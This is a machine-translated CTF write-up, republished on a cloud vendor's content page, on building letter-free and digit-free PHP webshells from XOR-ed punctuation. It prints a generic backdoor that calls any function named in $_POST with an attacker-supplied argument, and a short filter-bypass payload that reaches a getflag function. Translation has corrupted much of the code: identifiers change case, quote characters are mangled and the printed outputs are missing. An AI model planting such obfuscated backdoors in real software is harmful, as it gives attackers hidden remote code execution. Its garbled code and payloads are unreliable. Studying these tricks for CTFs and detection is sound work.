Remember the pit where Webshell stepped (how to write a backdoor with no numbers and letters in PHP)

Source: Internet
Author: User

0x01 Preface

Recently, in the work of doing code audit encountered a problem, the title described as follows:

<?PHPinclude' Flag.php ';if(isset($_get[' Code '])){    $code=$_get[' Code ']; if(strlen($code) >40){         die("Long.")); }    if(Preg_match("/[a-za-z0-9]+/",$code)){         die("NO."); }    @Eval($code);}Else{    Highlight_file(__file__);}//$hint = "php function Getflag () to get Flag";?>

This string of code description is like this, we want to bypass the a-za-z0-9 these regular numbers, the letter string of the parameters, the non-alphabetic, numeric characters through various transformations, and finally can construct a-Z any character, and the length of the string is less than 40. Then using PHP to allow dynamic function execution features, splicing a function name, here we are "getflag", and then dynamically execute it.

So, the question we need to consider is how to pass various transformations so that we can successfully read the Getflag function and then get the Webshell.

0x02 Pre-knowledge bedding

Before understanding this article, we first need to understand the concept of a different or (^) in PHP.

Let's look at the following code first:

<? PHP     Echo "A" ^ "?" ;? >

The results of the operation are as follows:

As we can see, the result of the output is the character "~". The result is that the code has the characters "A" and the character "?". The XOR operation was performed. In PHP, when two variables are XOR, the string is converted to an ASCII value, then the ASCII value is converted to binary and then XOR, XOR, and the result is converted from binary to ASCII, and then the ASCII value is converted to a string. XOR operations are sometimes used to exchange values of two variables.

Like the example above

The ASCII value of a is 65, and the corresponding binary value is 01000001

? The ASCII value is 63, and the corresponding binary value is 00111111

The value of the XOR binary is 10000000, the corresponding ASCII value is 126, and the corresponding string value is ~.

As we all know, PHP is a weak type of language, that is, in PHP we can not pre-declare the type of variables, and directly declare a variable and initialization or assignment operation. Because of this feature of PHP's weak type, we implicitly convert the variable type of PHP and use this feature for some unconventional operations. If you convert an integer to a string, treat a Boolean as an integer, or use a string as a function, let's look at a piece of code:

<? PHP     function B () {        echo "Hello angel_kitty";    }     $_++;     $__= "?" ^ "}";     $__ ();? >

The code execution results are as follows:

Let's analyze the above code together:

    1. $_++; This line of code means that the variable named "_" variable is self-increment operation, in PHP, the default value of the undefined variable is null,null==false==0, we can not use any number in the case of the undefined variable by the self-increment operation to get a number.
    2. $__="?" ^ "}"; To the character "?" and "}" are assigned to the variable named "__" (two underscore) by the result B.
    3. $__ (); With the above assignment, the value of the variable $__ is B, so this line can be thought of as B (), in PHP, this line of code represents the call to function B, so the execution result is Hello Angel_kitty. In PHP, we can treat a string as a function.

See here, I believe that if you see a similar PHP back door should not be so confusing, you can use a sentence to analyze the backdoor code to understand the backdoor want to implement the function.

We want to use this backdoor to create strings that can be used to bypass detection and useful to us, such as _post "," System "," Call_user_func_array ", or anything we need.

Here is a very simple non-alphanumeric PHP Backdoor:

<?php @$_++;//$_ = 1$__=("#"^"|");// $__ = _$__.=("." ^"~");//_p$__.=("/"^"`");//_po$__.=("|" ^"/");//_pos$__.=("{"^"/");//_post${$__}[!$_](${$__}[$_]);//$_post[0] ($_post[1]);?>

Here I explain below,. = is a string connection, see PHP syntax for details

We can even merge the above code into one line, making the program less readable and the code is as follows:

$__=("#"^"|"). ("." ^"~"). ("/"^"`"). ("|" ^"/"). ("{"^"/");
Analysis of 0x03 problems

For the problem that the article began to encounter, at first our idea was to bypass the string by constructing an XOR, but because the last constructed string far exceeds the length of the len=40, then we finally gave up ~ ~

How do we construct this string so that the length is less than 40?

We finally have to read the Getflag function, we need to construct a _get to read this function, we finally construct the following string:

code=$_= "' {{{" ^ "? <>/"; ${$_}[_] (${$_}[__]); &_=getflag

Maybe a lot of little buddies still can't understand how this string is constructed after reading the pre-knowledge, so let's take a segment analysis of the string.

① Construction _get Read

First of all we need to know _get from what different or come, after my trial and analysis, I came to the following conclusions:

<? PHP     Echo "' {{" ^ "<>/"; // _get?>

What does this piece of code mean by a big lump? Because of the 40-character-length limitation, the Webshell that were previously character-by-byte or spliced cannot be used.
Here you can use the anti-quotes in PHP that can execute commands ` ` and the wildcard characters below Linux?

    • ?Represents a character match
    • ' means execute command
    • "Parsing a special string

Because it can only match one character, the meaning of this notation is circular invocation, which matches each other. We'll break it down to see

<? PHP     Echo "{" ^ "<";? >

The output is:

<? PHP     Echo "{" ^ ">";? >

The output is:

<? PHP     Echo "{"^"/";? >

The output is:

So that's how _get was constructed.

② getting _get parameters

How to get it? We can construct the following string:

<? PHP     echo ${$_}[_] (${$_}[__]); // $_get[_] ($_get[__])?>

According to the previous construction, $_ has become a _get.

Logically speaking, $_ = _get this string.

We build $_get[__] To get the parameter values

③ Incoming parameters

At this point we just need to call the Getflag function to get the Webshell, the structure is as follows:

<? PHP     Echo $_=getflag; // Getflag?>

So the parameters are all connected together, you can ~ ~

code=$_= "' {{{" ^ "? <>/"; ${$_}[_] (${$_}[__]); &_=getflag

The results are as follows:

We succeeded in reading the flag~~.

0X04 Extended Reading

I recommend to you a few write better, so that we can further understand this thing.

    • Https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
    • http://php.net/manual/zh/language.operators.increment.php

Remember the pit where Webshell stepped (how to write a backdoor with no numbers and letters in PHP)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.